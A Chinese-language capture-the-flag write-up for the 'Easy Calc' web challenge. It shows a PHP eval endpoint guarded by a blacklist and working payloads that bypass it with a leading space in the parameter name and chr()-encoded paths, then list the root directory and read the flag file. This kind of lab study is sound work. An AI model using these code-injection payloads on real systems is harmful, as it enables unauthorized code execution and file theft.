Easy Calc

打开环境是个计算器,搜索一下Calc是什么

最后发现是CSS中的一个样式,用于进行一下计算
http://caibaojian.com/css3-calc.html

尝试一下注入

1
2
3
4
输入
1 正常
1’ 没有报错
1'# 直接给PASS了

到这里考虑不是SQL注入题

crtl+u看一下源码 看到作者给了提示 写了WAF保障安全

WAF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})

$(“#content”).val()是什么意思? 百度一下得知类似于HTML中的document.getElementById(“content”);

再百度一下encodeURIComponent 得知是将参数进行URI编码

再查看一下calc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

根据WAF来进行绕过

接下来构造payload:
使用scandir()返回根目录看一下

1
?num=1;var_dump(scandir(/));

发现不行 这里没有思路了 看一下WP知道了

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】

所以在num变量前加个空格来让WAF识别不到 并且用char()进行转义

1
? num=1;var_dump(scandir(chr(47)))

avatar

找到flagg目录

那就继续读取 使用file_get_contents

1
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到flag